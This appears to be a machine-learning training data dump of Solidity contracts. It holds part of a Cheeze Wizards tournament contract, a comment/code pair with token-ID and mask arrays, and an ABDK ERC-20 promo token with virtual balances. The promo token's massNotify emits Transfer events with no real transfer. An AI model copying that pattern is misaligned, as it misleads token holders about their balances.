// putting much less power at risk (while the ascending Wizard is risking EVERYTHING).
if (battlePower1 > battlePower2 + 2*moldPower) {
battlePower1 = battlePower2;
} else if (battlePower2 > battlePower1 + 2*moldPower) {
battlePower2 = battlePower1;
}
}
int256 powerDiff = duelResolver.resolveDuel(
moveSet1,
moveSet2,
uint256(battlePower1),
uint256(battlePower2),
wiz1.affinity,
wiz2.affinity);
// A duel resolver should never return a negative value with a magnitude greater than the
// first wizard's power, or a positive value with a magnitude greater than the second
// wizard's power. We enforce that here to be safe (since it is an external contract).
if (powerDiff < -battlePower1) {
powerDiff = -battlePower1;
} else if (powerDiff > battlePower2) {
powerDiff = battlePower2;
}
// Given the checks above, both of these values will resolve to >= 0
battlePower1 += powerDiff;
battlePower2 -= powerDiff;
if (duelInfo.isAscensionBattle) {
// In an Ascension Battle, we always transfer 100% of the power-at-risk. Give it
// to the Wizard with the highest power after the battle (which might not be the
// Wizard who got the higher score!)
if (battlePower1 >= battlePower2) {
// NOTE! The comparison above is very carefully chosen: In the case of a
// tie in the power level after the battle (exceedingly unlikely, but possible!)
// we want the win to go to the Wizard with the lower ID. Since all of the duel
// functions require the wizards to be strictly ascending ID order, that's
// wizardId1, which means we want a tie to land in this leg of the if-else statement.
powerDiff += battlePower2;
} else {
powerDiff -= battlePower1;
}
}
// We now apply the power differential to the _actual_ Wizard powers (and not just
// the power-at-risk).
int256 power1 = wiz1.power + powerDiff;
int256 power2 = wiz2.power - powerDiff;
// We now check to see if either of the wizards ended up under the blue mold level.
// If so, we transfer ALL of the rest of the power from the weaker Wizard to the winner.
if (power1 < moldPower) {
power2 += power1;
power1 = 0;
}
else if (power2 < moldPower) {
power1 += power2;
power2 = 0;
}
_updatePower(wiz1, power1);
_updatePower(wiz2, power2);
// unlock wizards
wiz1.currentDuel = 0;
wiz2.currentDuel = 0;
// Incrememnt the Wizard nonces
wiz1.nonce += 1;
wiz2.nonce += 1;
// Clean up old data
delete duels[duelId];
delete revealedMoves[duelId][wizardId1];
delete revealedMoves[duelId][wizardId2];
// emit event
emit DuelEnd(duelId, wizardId1, wizardId2, moveSet1, moveSet2, wiz1.power, wiz2.power);
}
/// @notice Utility function to update the power on a Wizard, ensuring it doesn't overflow
/// a uint88 and also updates maxPower as appropriate.
// solium-disable-next-line security/no-assign-params
function _updatePower(BattleWizard storage wizard, int256 newPower) internal {
if (newPower > MAX_POWER) {
newPower = MAX_POWER;
}
wizard.power = uint88(newPower);
if (wizard.maxPower < newPower) {
wizard.maxPower = uint88(newPower);
}
}
/// @notice Resolves a duel that has timed out. This can only happen if one or both players
/// didn't reveal their moves. If both don't reveal, there is no power transfer, if one
/// revealed, they win ALL the power.
///
/// Note: This function doens't need exists(wizardId1) exists(wizardId2) because an
/// eliminated Wizard would have currentDuel == 0
function resolveTimedOutDuel(uint256 wizardId1, uint256 wizardId2) external {
BattleWizard storage wiz1 = wizards[wizardId1];
BattleWizard storage wiz2 = wizards[wizardId2];
bytes32 duelId = wiz1.currentDuel;
require(duelId != 0 && wiz2.currentDuel == duelId, "Wizards are not dueling");
require(block.number > duels[duelId].timeout, "Duel not timed out");
int256 allPower = wiz1.power + wiz2.power;
if (revealedMoves[duelId][wizardId1] != 0) {
// The first Wizard revealed their moves, but the second one didn't (otherwise it
// would have been resolved). Transfer all of the power from two to one.
_updatePower(wiz1, allPower);
wiz2.power = 0;
}
else if (revealedMoves[duelId][wizardId2] != 0) {
// The second Wizard revealed, so it drains the first.
_updatePower(wiz2, allPower);
wiz1.power = 0;
}
// NOTE: If neither Wizard did a reveal, we just end the battle with no power transfer.
// unlock wizards
wiz1.currentDuel = 0;
wiz2.currentDuel = 0;
// Incrememnt the Wizard nonces
wiz1.nonce += 1;
wiz2.nonce += 1;
// Clean up old data
delete duels[duelId];
delete revealedMoves[duelId][wizardId1];
delete revealedMoves[duelId][wizardId2];
// emit event
emit DuelTimeOut(duelId, wizardId1, wizardId2, wiz1.power, wiz2.power);
}
/// @notice Transfer the power of one Wizard to another. The caller has to be the owner
/// or have approval of the sending Wizard. Both Wizards must be ready (not moldy,
/// ascending or in a duel), and we limit power transfers to happen during Fight
/// Windows (this is important so that power transfers don't interfere with Culling
/// or Ascension operations).
/// @param sendingWizardId The Wizard to transfer power from. After the transfer,
/// this Wizard will have no power.
/// @param receivingWizardId The Wizard to transfer power to.
function giftPower(uint256 sendingWizardId, uint256 receivingWizardId) external
onlyWizardController(sendingWizardId) exists(receivingWizardId) duringFightWindow
{
BattleWizard storage sendingWiz = wizards[sendingWizardId];
BattleWizard storage receivingWiz = wizards[receivingWizardId];
require(sendingWizardId != receivingWizardId, "Can't gift power to yourself");
require(isReady(sendingWizardId) && isReady(receivingWizardId), "Wizard not ready");
emit PowerGifted(sendingWizardId, receivingWizardId, sendingWiz.power);
_updatePower(receivingWiz, sendingWiz.power + receivingWiz.power);
sendingWiz.power = 0;
// update the nonces to reflect the state change and invalidate any pending commitments
sendingWiz.nonce += 1;
receivingWiz.nonce += 1;
}
/// @notice A function that will permanently remove eliminated Wizards from the smart contract.
///
/// The way that this (and cullMoldedWithMolded()) works isn't entirely obvious, so please settle
/// down for story time!
///
/// The "obvious" solution to elminating Wizards from the Tournament is to simply delete
/// them from the wizards mapping when they are beaten into submission (Oh! Sorry! Marketing
/// team says I should say "tired".) But we can't do this during the revival phase, because
/// maybe that player wants to revive their Wizard. What's more is that when the Blue Mold
/// starts, there is no on-chain event that fires when the Blue Mold power level doubles
/// (which can also lead to Wizard elimination).
///
/// The upshot is that we could have a bunch of Wizards sitting around in the wizards mapping
/// that are below the Blue Mold level, possibly even with a power level of zero. If we can't
/// get rid of them somehow, we can't know when the Tournament is over (which would make for
/// a pretty crappy tournament, huh?).
///
/// The next obvious solution? If a Wizard is below the Blue Mold level, just let anyone come
/// along and delete that sucker. Whoa, there, Cowboy! Maybe you should think it through for
/// a minute before you jump to any conclusions. Give it a minute, you'll see what I mean.
///
/// Yup. I knew you'd see it. If we start deleting ALL the Wizards below the Blue Mold level,
/// there's a not-so-rare edge case where the last two or three or ten Wizards decide not
/// to fight each other, and they all get molded. Eek! Another great way to make for a crappy
/// tournament! No winner!
///
/// So, if we do end up with ALL of the Wizards molded, how do we resolve the Tournament? Our
/// solution is to let the 5 most powerful molded Wizards split the pot pro-rata (so, if you have
/// 60% of the total power represented in the 5 winning Wizards, you get 60% of the pot.)
///
/// But this puts us in a bit of a pickle. How can we delete a molded Wizard if it might just
/// be a winner?!
///
/// Simple! If someone wants to permanently remove a Wizard from the tournament, they just have
/// to pass in a reference to _another_ Wizard (or Wizards) that _prove_ that the Wizard they
/// want to elminate can't possibly be the winner.
///
/// This function handles the simpler of the two cases: If the caller can point to a Wizard
/// that is _above_ the Blue Mold level, then _any_ Wizard that is below the Blue
/// mold level can be safely eliminated.
///
/// Note that there are no restrictions on who can cull moldy Wizards. Anyone can call, so
/// long as they have the necessary proof!
/// @param wizardIds A list of moldy Wizards to permanently remove from the Tournament
/// @param survivor The ID of a surviving Wizard, as proof that it's safe to remove those moldy folks
function cullMoldedWithSurvivor(uint256[] calldata wizardIds, uint256 survivor) external
exists(survivor) duringCullingWindow
{
uint256 moldLevel = _blueMoldPower();
require(wizards[survivor].power >= moldLevel, "Survivor isn't alive");
for (uint256 i = 0; i < wizardIds.length; i++) {
uint256 wizardId = wizardIds[i];
if (wizards[wizardId].maxPower != 0 && wizards[wizardId].power < moldLevel) {
delete wizards[wizardId];
remainingWizards--;
emit WizardElimination(wizardId);
}
}
}
/// @notice Another function to remove eliminated Wizards from the smart contract.
///
/// Well, partner, it's good to see you back again. I hope you've recently read the comments
/// on cullMoldedWithSurvivor() because that'll provide you with some much needed context here.
///
/// This function handles the other case, what if there IS no unmolded Wizard to point to, how do
/// you cull the excess moldy Wizards to pare it down to the five final survivors that should split
/// the pot?
///
/// Well, the answer is much the same as before, only instead of pointing to a single example of
/// a Wizard that has a better claim to the pot, we require that the caller provides a reference
/// to FIVE other Wizards who have a better claim to the pot.
///
/// It would be pretty easy to write this function in a way that was very expensive, so in order
/// to save ourselves a lot of gas, we require that the list of Wizards is in strictly decending
/// order of power (if two wizards have identical power levels, we consider the one with the
/// lower ID as being more powerful).
///
/// We also require that the first (i.e. most powerful) Wizard in the list is moldy, even though
/// it's not going to be eliminated! This may not seem strictly necessary, but it makes the
/// logic simpler (because then we can just assume that ALL the Wizards are moldy, without any
/// further checks). If it isn't moldy, the caller should just use the cullMoldedWithSurvivor()
/// method instead!
///
/// "Oh ho!" you say, taking great pleasure in your clever insight. "How can you be so sure that
/// the first five Wizards passed in as 'leaders' are _actually_ the five most powerful molded
/// Wizards?" Well, my dear friend... you are right: We can't!
///
/// However it turns out that's actually fine! If the caller (for some reason) decides to start the list
/// with the Wizards ranked 6-10 in the Tournament, they can do it that and we'd never know the
/// difference.... Except that's not actually a problem, because they'd still only be able to remove
/// molded Wizards ranked 11th or higher, all of which are due for removal anyway. (It's the same
/// argument that we don't actually know -- inside this function -- if there's a non-molded Wizard;
/// it's still safe to allow the caller to eliminate molded Wizards ranked 6th or higher.)
/// @param moldyWizardIds A list of moldy Wizards, in strictly decreasing power order. Entries 5+ in this list
/// will be permanently removed from the Tournament
function cullMoldedWithMolded(uint256[] calldata moldyWizardIds) external duringCullingWindow {
uint256 currentId;
uint256 currentPower;
uint256 previousId = moldyWizardIds[0];
uint256 previousPower = wizards[previousId].power;
// It's dumb to call this function with fewer than 5 wizards, but nothing bad will happen
// so we don't waste gas preventing it.
// require(moldyWizardsIds.length > 5, "No wizards to eliminate");
require(previousPower < _blueMoldPower(), "Not moldy");
for (uint256 i = 1; i < moldyWizardIds.length; i++) {
currentId = moldyWizardIds[i];
checkExists(currentId);
currentPower = wizards[currentId].power;
// Confirm that this new Wizard has a worse claim on the prize than the previous Wizard
require(
(currentPower < previousPower) ||
((currentPower == previousPower) && (currentId > previousId)),
"Wizards not strictly ordered");
if (i >= 5)
{
delete wizards[currentId];
remainingWizards--;
emit WizardElimination(currentId);
}
previousId = currentId;
previousPower = currentPower;
}
}
/// @notice One last culling function that simply removes Wizards with zero power. They can't
/// even get a cut of the final pot... (Worth noting: Culling Windows are only available
/// during the Elmination Phase, so even Wizards that go to zero can't be removed during
/// the Revival Phase.)
function cullTiredWizards(uint256[] calldata wizardIds) external duringCullingWindow {
for (uint256 i = 0; i < wizardIds.length; i++) {
uint256 wizardId = wizardIds[i];
if (wizards[wizardId].maxPower != 0 && wizards[wizardId].power == 0) {
delete wizards[wizardId];
remainingWizards--;
emit WizardElimination(wizardId);
}
}
}
/// @notice This is a pretty important function! When the Tournament has a single remaining Wizard left
/// we can send them ALL of the funds in this smart contract. Notice that we don't actually check
/// to see if the claimant is moldy: If there is a single remaining Wizard in the Tournament, they
/// get to take the pot, regardless of the mold level.
function claimTheBigCheeze(uint256 claimingWinnerId) external duringCullingWindow onlyWizardController(claimingWinnerId) {
require(remainingWizards == 1, "Keep fighting!");
// They did it! They were the final survivor. They get all the money!
emit PrizeClaimed(claimingWinnerId, address(this).balance);
remainingWizards = 0;
delete wizards[claimingWinnerId];
msg.sender.transfer(address(this).balance);
}
/// @notice A function that allows one of the 5 most powerful Wizards to claim their pro-rata share of
/// the pot if the Tournament ends with all Wizards subcumbing to the Blue Mold. Note that
/// all but five of the Moldy Wizards need to first be eliminated with cullMoldedWithMolded().
///
/// It might seem like it would be tricky to split the pot one player at a time. Imagine that
/// there are just three winners, with power levels 20, 30, and 50. If the third player claims
/// first, they will get 50% of the (remaining) pot, but if they claim last, they will get
/// 100% of the remaining pot! If you run some examples, you'll see that by decreasing the pot
/// size by a value exactly proportional to the power of the removed Wizard, everyone gets
/// the same amount of winnings, regardless of the order in which they claim (plus or minus
/// a wei or two due to rounding).
/// @param claimingWinnerId The Wizard who's share is currently being claimed
/// @param allWinners The complete set of all remaining Wizards in the tournament. This set MUST
/// be ordered by ascending ID.
function claimSharedWinnings(uint256 claimingWinnerId, uint256[] calldata allWinners)
external duringCullingWindow onlyWizardController(claimingWinnerId)
{
require(remainingWizards <= 5, "Too soon to claim");
require(remainingWizards == allWinners.length, "Must provide all winners");
require(wizards[claimingWinnerId].power != 0, "No cheeze for you!");
uint256 moldLevel = _blueMoldPower();
uint256 totalPower = 0;
uint256 lastWizard = 0;
// Check to see that all of the remaining Wizards are molded and not yet eliminated,
// assuming they are, keep track of the total power level of the remaining entrants
for (uint256 i = 0; i < allWinners.length; i++) {
uint256 wizardId = allWinners[i];
uint256 wizardPower = wizards[wizardId].power;
require(wizardId > lastWizard, "Winners not unique and ordered");
require(wizards[wizardId].maxPower != 0, "Wizard already eliminated");
require(wizardPower < moldLevel, "Wizard not moldy");
lastWizard = wizardId;
totalPower += wizardPower;
}
uint256 claimingWinnerShare = address(this).balance * wizards[claimingWinnerId].power / totalPower;
// Be sure to delete their claim on the prize before sending them the balance!
delete wizards[claimingWinnerId];
remainingWizards--;
emit PrizeClaimed(claimingWinnerId, claimingWinnerShare);
msg.sender.transfer(claimingWinnerShare);
}
/// @notice Allows the GateKeeper to destroy this contract if it's not needed anymore.
function destroy() external onlyGateKeeper {
require(isActive() == false, "Tournament active");
selfdestruct(msg.sender);
}
}
| If we are in the window, we will be within duration of the start of the most recent window | return windowOffset < localParams.windowDuration;
| 12,784,507 | [
1,
2047,
732,
854,
316,
326,
2742,
16,
732,
903,
506,
3470,
3734,
434,
326,
787,
434,
326,
4486,
8399,
2742,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
327,
2742,
2335,
411,
1191,
1370,
18,
5668,
5326,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/*
* Safe Math Smart Contract. Copyright © 2016–2017 by ABDK Consulting.
* Author: Mikhail Vladimirov <[email protected]>
*/
pragma solidity ^0.4.20;
/**
* Provides methods to safely add, subtract and multiply uint256 numbers.
*/
contract SafeMath {
uint256 constant private MAX_UINT256 =
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
/**
* Add two uint256 values, throw in case of overflow.
*
* @param x first value to add
* @param y second value to add
* @return x + y
*/
function safeAdd (uint256 x, uint256 y)
pure internal
returns (uint256 z) {
assert (x <= MAX_UINT256 - y);
return x + y;
}
/**
* Subtract one uint256 value from another, throw in case of underflow.
*
* @param x value to subtract from
* @param y value to subtract
* @return x - y
*/
function safeSub (uint256 x, uint256 y)
pure internal
returns (uint256 z) {
assert (x >= y);
return x - y;
}
/**
* Multiply two uint256 values, throw in case of overflow.
*
* @param x first value to multiply
* @param y second value to multiply
* @return x * y
*/
function safeMul (uint256 x, uint256 y)
pure internal
returns (uint256 z) {
if (y == 0) return 0; // Prevent division by zero at the next line
assert (x <= MAX_UINT256 / y);
return x * y;
}
}
/*
* EIP-20 Standard Token Smart Contract Interface.
* Copyright © 2016–2018 by ABDK Consulting.
* Author: Mikhail Vladimirov <[email protected]>
*/
/**
* ERC-20 standard token interface, as defined
* <a href="https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md">here</a>.
*/
contract Token {
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply () public view returns (uint256 supply);
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf (address _owner) public view returns (uint256 balance);
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer (address _to, uint256 _value)
public returns (bool success);
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom (address _from, address _to, uint256 _value)
public returns (bool success);
/**
* Allow given spender to transfer given number of tokens from message sender.
*
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value)
public returns (bool success);
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance (address _owner, address _spender)
public view returns (uint256 remaining);
/**
* Logged when tokens were transferred from one owner to another.
*
* @param _from address of the owner, tokens were transferred from
* @param _to address of the owner, tokens were transferred to
* @param _value number of tokens transferred
*/
event Transfer (address indexed _from, address indexed _to, uint256 _value);
/**
* Logged when owner approved his tokens to be transferred by some spender.
*
* @param _owner owner who approved his tokens to be transferred
* @param _spender spender who were allowed to transfer the tokens belonging
* to the owner
* @param _value number of tokens belonging to the owner, approved to be
* transferred by the spender
*/
event Approval (
address indexed _owner, address indexed _spender, uint256 _value);
}/*
* Address Set Smart Contract Interface.
* Copyright © 2017–2018 by ABDK Consulting.
* Author: Mikhail Vladimirov <[email protected]>
*/
/**
* Address Set smart contract interface.
*/
contract AddressSet {
/**
* Check whether address set contains given address.
*
* @param _address address to check
* @return true if address set contains given address, false otherwise
*/
function contains (address _address) public view returns (bool);
}
/*
* Abstract Token Smart Contract. Copyright © 2017 by ABDK Consulting.
* Author: Mikhail Vladimirov <[email protected]>
*/
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
function AbstractToken () public {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf (address _owner) public view returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer (address _to, uint256 _value)
public returns (bool success) {
uint256 fromBalance = accounts [msg.sender];
if (fromBalance < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (fromBalance, _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom (address _from, address _to, uint256 _value)
public returns (bool success) {
uint256 spenderAllowance = allowances [_from][msg.sender];
if (spenderAllowance < _value) return false;
uint256 fromBalance = accounts [_from];
if (fromBalance < _value) return false;
allowances [_from][msg.sender] =
safeSub (spenderAllowance, _value);
if (_value > 0 && _from != _to) {
accounts [_from] = safeSub (fromBalance, _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
Transfer (_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
*
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value)
public returns (bool success) {
allowances [msg.sender][_spender] = _value;
Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance (address _owner, address _spender)
public view returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) internal accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) internal allowances;
}
/*
* Abstract Virtual Token Smart Contract.
* Copyright © 2017–2018 by ABDK Consulting.
* Author: Mikhail Vladimirov <[email protected]>
*/
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts supporting virtual balance.
*/
contract AbstractVirtualToken is AbstractToken {
/**
* Maximum number of real (i.e. non-virtual) tokens in circulation (2^255-1).
*/
uint256 constant MAXIMUM_TOKENS_COUNT =
0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
/**
* Mask used to extract real balance of an account (2^255-1).
*/
uint256 constant BALANCE_MASK =
0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
/**
* Mask used to extract "materialized" flag of an account (2^255).
*/
uint256 constant MATERIALIZED_FLAG_MASK =
0x8000000000000000000000000000000000000000000000000000000000000000;
/**
* Create new Abstract Virtual Token contract.
*/
function AbstractVirtualToken () public AbstractToken () {
// Do nothing
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply () public view returns (uint256 supply) {
return tokensCount;
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf (address _owner) public view returns (uint256 balance) {
return safeAdd (
accounts [_owner] & BALANCE_MASK, getVirtualBalance (_owner));
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer (address _to, uint256 _value)
public returns (bool success) {
if (_value > balanceOf (msg.sender)) return false;
else {
materializeBalanceIfNeeded (msg.sender, _value);
return AbstractToken.transfer (_to, _value);
}
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom (address _from, address _to, uint256 _value)
public returns (bool success) {
if (_value > allowance (_from, msg.sender)) return false;
if (_value > balanceOf (_from)) return false;
else {
materializeBalanceIfNeeded (_from, _value);
return AbstractToken.transferFrom (_from, _to, _value);
}
}
/**
* Get virtual balance of the owner of given address.
*
* @param _owner address to get virtual balance for the owner of
* @return virtual balance of the owner of given address
*/
function virtualBalanceOf (address _owner)
internal view returns (uint256 _virtualBalance);
/**
* Calculate virtual balance of the owner of given address taking into account
* materialized flag and total number of real tokens already in circulation.
*/
function getVirtualBalance (address _owner)
private view returns (uint256 _virtualBalance) {
if (accounts [_owner] & MATERIALIZED_FLAG_MASK != 0) return 0;
else {
_virtualBalance = virtualBalanceOf (_owner);
uint256 maxVirtualBalance = safeSub (MAXIMUM_TOKENS_COUNT, tokensCount);
if (_virtualBalance > maxVirtualBalance)
_virtualBalance = maxVirtualBalance;
}
}
/**
* Materialize virtual balance of the owner of given address if this will help
* to transfer given number of tokens from it.
*
* @param _owner address to materialize virtual balance of
* @param _value number of tokens to be transferred
*/
function materializeBalanceIfNeeded (address _owner, uint256 _value) private {
uint256 storedBalance = accounts [_owner];
if (storedBalance & MATERIALIZED_FLAG_MASK == 0) {
// Virtual balance is not materialized yet
if (_value > storedBalance) {
// Real balance is not enough
uint256 virtualBalance = getVirtualBalance (_owner);
require (safeSub (_value, storedBalance) <= virtualBalance);
accounts [_owner] = MATERIALIZED_FLAG_MASK |
safeAdd (storedBalance, virtualBalance);
tokensCount = safeAdd (tokensCount, virtualBalance);
}
}
}
/**
* Number of real (i.e. non-virtual) tokens in circulation.
*/
uint256 internal tokensCount;
}
/*
* Module Promo Token Smart Contract. Copyright © 2018 by ABDK Consulting.
* Author: Mikhail Vladimirov <[email protected]>
*/
/**
* Module Promo Tokem Smart Contract.
*/
contract ModulePromoToken is AbstractVirtualToken {
/**
* Number of virtual tokens to assign to the owners of addresses from given
* address set.
*/
uint256 private constant VIRTUAL_COUNT = 5;
/**
* Number of tokens to give to the contract deployer for future distribution.
*/
uint256 private constant INITIAL_TOKENS = 10e6;
/**
* Create ModulePromoToken smart contract with given address set.
*
* @param _addressSet address set to use
*/
function ModulePromoToken (AddressSet _addressSet)
public AbstractVirtualToken () {
owner = msg.sender;
accounts[owner] = INITIAL_TOKENS;
addressSet = _addressSet;
}
/**
* Get name of this token.
*
* @return name of this token
*/
function name () public pure returns (string) {
return "Promodl";
}
/**
* Get symbol of this token.
*
* @return symbol of this token
*/
function symbol () public pure returns (string) {
return "PMOD";
}
/**
* Get number of decimals for this token.
*
* @return number of decimals for this token
*/
function decimals () public pure returns (uint8) {
return 0;
}
/**
* Notify owners about their virtual balances.
*
* @param _owners addresses of the owners to be notified
*/
function massNotify (address [] _owners) public {
require (msg.sender == owner);
uint256 count = _owners.length;
for (uint256 i = 0; i < count; i++)
Transfer (address (0), _owners [i], VIRTUAL_COUNT);
}
/**
* Kill this smart contract.
*/
function kill () public {
require (msg.sender == owner);
selfdestruct (owner);
}
/**
* Change owner of the smart contract.
*
* @param _owner address of a new owner of the smart contract
*/
function changeOwner (address _owner) public {
require (msg.sender == owner);
owner = _owner;
}
/**
* Get virtual balance of the owner of given address.
*
* @param _owner address to get virtual balance for the owner of
* @return virtual balance of the owner of given address
*/
function virtualBalanceOf (address _owner)
internal view returns (uint256 _virtualBalance) {
return addressSet.contains (_owner) ? VIRTUAL_COUNT : 0;
}
/**
* Address of the owner of this smart contract.
*/
address internal owner;
/**
* Address set of addresses that are eligible for initial balance.
*/
AddressSet internal addressSet;
} | * Maximum number of real (i.e. non-virtual) tokens in circulation (2^255-1)./* Mask used to extract real balance of an account (2^255-1)./* Mask used to extract "materialized" flag of an account (2^255)./* Create new Abstract Virtual Token contract./ Do nothing | function AbstractVirtualToken () public AbstractToken () {
}
| 230,880 | [
1,
13528,
1300,
434,
2863,
261,
77,
18,
73,
18,
1661,
17,
12384,
13,
2430,
316,
5886,
1934,
367,
261,
22,
66,
10395,
17,
21,
2934,
19,
16698,
1399,
358,
2608,
2863,
11013,
434,
392,
2236,
261,
22,
66,
10395,
17,
21,
2934,
19,
16698,
1399,
358,
2608,
315,
